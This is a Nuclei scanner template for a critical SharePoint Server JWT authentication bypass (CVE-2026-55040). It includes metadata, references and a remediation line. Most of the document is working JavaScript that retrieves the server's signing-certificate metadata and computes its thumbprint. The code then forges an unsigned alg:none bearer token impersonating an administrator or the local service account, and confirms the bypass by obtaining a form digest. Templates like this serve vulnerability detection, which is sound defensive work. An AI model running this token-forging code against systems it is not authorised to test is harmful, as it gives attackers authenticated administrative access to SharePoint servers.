id: CVE-2026-55040 info: name: Microsoft SharePoint Server - JWT Authentication Bypass author: sfewer-r7,DhiyaneshDk severity: critical description: | Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest. impact: | Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources. remediation: | Update to the latest version of Microsoft Office SharePoint. reference: - https://github.com/sfewer-r7/CVE-2026-55040 - https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/ - https://nvd.nist.gov/vuln/detail/CVE-2026-55040 - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040 - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2026-55040 epss-score: 0.39652 epss-percentile: 0.98521 cwe-id: CWE-1390 metadata: max-request: 3 verified: true shodan-query: html:"/_layouts/" tags: cve,cve2026,sharepoint,microsoft,auth-bypass,jwt,kev,vkev javascript: - pre-condition: | isPortOpen(Host, Port); code: | var net = require("nuclei/net"); // ===== SHA-1 (pure JavaScript, RFC 3174) ===== function sha1(data) { function R(n, s) { return ((n << s) | (n >>> (32 - s))) >>> 0; } function A(x, y) { return (x + y) >>> 0; } var msg = data.slice(), L = msg.length; msg.push(0x80); while ((msg.length % 64) !== 56) msg.push(0); var bl = L * 8; msg.push(0, 0, 0, 0, (bl >>> 24) & 0xFF, (bl >>> 16) & 0xFF, (bl >>> 8) & 0xFF, bl & 0xFF); var H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0]; for (var blk = 0; blk < msg.length; blk += 64) { var W = []; for (var i = 0; i < 16; i++) W[i] = ((msg[blk + i * 4] << 24) | (msg[blk + i * 4 + 1] << 16) | (msg[blk + i * 4 + 2] << 8) | msg[blk + i * 4 + 3]) >>> 0; for (var i = 16; i < 80; i++) W[i] = R(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1); var a = H[0], b = H[1], c = H[2], d = H[3], e = H[4]; for (var t = 0; t < 80; t++) { var f, k; if (t < 20) { f = ((b & c) | (~b & d)) >>> 0; k = 0x5A827999; } else if (t < 40) { f = (b ^ c ^ d) >>> 0; k = 0x6ED9EBA1; } else if (t < 60) { f = ((b & c) | (b & d) | (c & d)) >>> 0; k = 0x8F1BBCDC; } else { f = (b ^ c ^ d) >>> 0; k = 0xCA62C1D6; } var T = A(A(A(A(R(a, 5), f), e), k >>> 0), W[t]); e = d; d = c; c = R(b, 30); b = a; a = T; } H[0] = A(H[0], a); H[1] = A(H[1], b); H[2] = A(H[2], c); H[3] = A(H[3], d); H[4] = A(H[4], e); } var out = []; for (var j = 0; j < 5; j++) out.push((H[j] >>> 24) & 0xFF, (H[j] >>> 16) & 0xFF, (H[j] >>> 8) & 0xFF, H[j] & 0xFF); return out; } // ===== Base64 / Base64url ===== function b64enc(bytes) { var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = ""; for (var i = 0; i < bytes.length; i += 3) { var x = bytes[i], y = i + 1 < bytes.length ? bytes[i + 1] : 0, z = i + 2 < bytes.length ? bytes[i + 2] : 0; r += t[x >>> 2]; r += t[((x & 3) << 4) | (y >>> 4)]; r += i + 1 < bytes.length ? t[((y & 0xF) << 2) | (z >>> 6)] : "="; r += i + 2 < bytes.length ? t[z & 0x3F] : "="; } return r; } function b64url(bytes) { return b64enc(bytes).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); } function b64urlStr(s) { var b = []; for (var i = 0; i < s.length; i++) b.push(s.charCodeAt(i) & 0xFF); return b64url(b); } function b64dec(s) { var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = []; s = s.replace(/[^A-Za-z0-9+\/]/g, ""); for (var i = 0; i < s.length; i += 4) { var a = t.indexOf(s[i]), b = t.indexOf(s[i + 1]); var c = s[i + 2] ? t.indexOf(s[i + 2]) : -1, d = s[i + 3] ? t.indexOf(s[i + 3]) : -1; r.push((a << 2) | (b >>> 4)); if (c !== -1) r.push(((b & 0xF) << 4) | (c >>> 2)); if (d !== -1) r.push(((c & 3) << 6) | d); } return r; } // ===== HTTP helper — accumulation loop to read full multi-chunk response ===== function httpReq(method, path, extraHdrs, body) { var hdrs = "Host: " + Host + "\r\nUser-Agent: nuclei\r\nConnection: close\r\nContent-Length: 0\r\n"; for (var k in extraHdrs) hdrs += k + ": " + extraHdrs[k] + "\r\n"; var raw = method + " " + path + " HTTP/1.1\r\n" + hdrs + "\r\n" + (body || ""); try { var conn; try { conn = net.OpenTLS("tcp", Host + ":443"); } catch (e) { conn = net.Open("tcp", Host + ":443"); } conn.SetTimeout(30); conn.Send(raw); // Accumulate chunks until EOF (server closes with Connection: close) var resp = ""; var chunk; while (true) { try { chunk = conn.RecvString(4096); if (!chunk || chunk.length === 0) break; resp += chunk; } catch (e) { break; } } conn.Close(); return resp; } catch (e) { return ""; } } // ===== Dechunk — handle Transfer-Encoding: chunked if present ===== function dechunk(body) { if (!body || body.indexOf("\r\n") === -1) return body; var result = ""; var pos = 0; while (pos < body.length) { var nlIdx = body.indexOf("\r\n", pos); if (nlIdx === -1) break; var sizeLine = body.substring(pos, nlIdx).split(";")[0].trim(); var size = parseInt(sizeLine, 16); if (isNaN(size) || size === 0) break; pos = nlIdx + 2; if (pos + size > body.length) { result += body.substring(pos); break; } result += body.substring(pos, pos + size); pos += size + 2; } return result || body; } function parseResp(raw) { if (!raw) return { code: 0, body: "" }; var sep = raw.indexOf("\r\n\r\n"); if (sep === -1) sep = raw.indexOf("\n\n"); if (sep === -1) return { code: 0, body: raw }; var headers = raw.substring(0, sep); var body = raw.substring(sep + 4); if (headers.toLowerCase().indexOf("transfer-encoding: chunked") !== -1) { body = dechunk(body); } var m = headers.match(/^HTTP\/[\d.]+\s+(\d+)/); return { code: m ? parseInt(m[1]) : 0, body: body }; } // ===== Main detection logic ===== var metaR = parseResp(httpReq("GET", "/_layouts/15/metadata/json/1", {}, "")); if (metaR.code === 200 && metaR.body && metaR.body.trim()[0] !== "<") { var meta = null; try { meta = JSON.parse(metaR.body); } catch (e) {} if (meta) { var issuer = meta.issuer || ""; var atIdx = issuer.indexOf("@"); if (atIdx !== -1) { var realm = issuer.substring(atIdx + 1); var keys = meta.keys || []; var certB64 = keys[0] && keys[0].keyValue ? keys[0].keyValue.value : null; if (certB64) { var certDer = b64dec(certB64); var x5t = b64url(sha1(certDer)); var now = Math.floor(Date.now() / 1000); var hostLabel = Host.split(".")[0]; var cid = "00000003-0000-0ff1-ce00-000000000000"; var aHdr = JSON.stringify({ alg: "RS256", typ: "JWT", x5t: x5t }); var aPld = JSON.stringify({ iss: issuer, nameid: issuer, nbf: now - 300, exp: now + 3600 }); var actorJwt = b64urlStr(aHdr) + "." + b64urlStr(aPld) + ".AAAA"; var forgeToken = function (nameid, nii, extra) { var hdr = JSON.stringify({ alg: "none", typ: "JWT" }); var pld = { aud: cid + "/" + hostLabel + "@" + realm, iss: issuer, nbf: now - 300, exp: now + 3600, nameid: nameid, nii: nii, trustedfordelegation: "true", actortoken: actorJwt }; if (extra) { for (var ek in extra) pld[ek] = extra[ek]; } return b64urlStr(hdr) + "." + b64urlStr(JSON.stringify(pld)) + "."; }; var tryDigest = function (token) { return parseResp(httpReq("POST", "/_api/contextinfo", { Authorization: "Bearer " + token, Accept: "application/json" }, "")); }; var output = ""; // Path 1: UPN derived from hostname domain var parts = Host.split("."); if (parts.length >= 3) { var domain = parts.slice(1).join("."); var upn = "administrator@" + domain; var tok1 = forgeToken("upn_bypass", "urn:office:idp:activedirectory", { upn: upn }); var r1 = tryDigest(tok1); if (r1.code === 200 && r1.body.indexOf("FormDigestValue") !== -1) { output = "CVE-2026-55040-VULNERABLE\nDIGEST-OBTAINED\nupn=" + upn + "\nrealm=" + realm; } } // Path 2: AccessToken / local service fallback if (!output) { var tok2 = forgeToken("0#.w|nt authority\\local service", "AccessToken", { upn: "x@localhost" }); var r2 = tryDigest(tok2); if (r2.code === 200 && (r2.body.indexOf("FormDigestValue") !== -1 || r2.body.indexOf("UnauthorizedAccessException") !== -1)) { output = "CVE-2026-55040-VULNERABLE\nAUTH-BYPASS-CONFIRMED\nrealm=" + realm; } } if (output) Export(output); } } } } args: Host: "{{Host}}" Port: "443" matchers: - type: word words: - "CVE-2026-55040-VULNERABLE" extractors: - type: regex name: realm regex: - "realm=([0-9a-fA-F-]+)" # digest: 4b0a00483046022100fb00d74ae15bdb94b64a60516bb14a1bc20eb4a574675e0b0ffdd406c0a59d14022100be0dc13403996af380fde4094fc31d3a91cfc4e868364662542e8e7d7b5b9aed:922c64590222798bb761d5b6d8e72950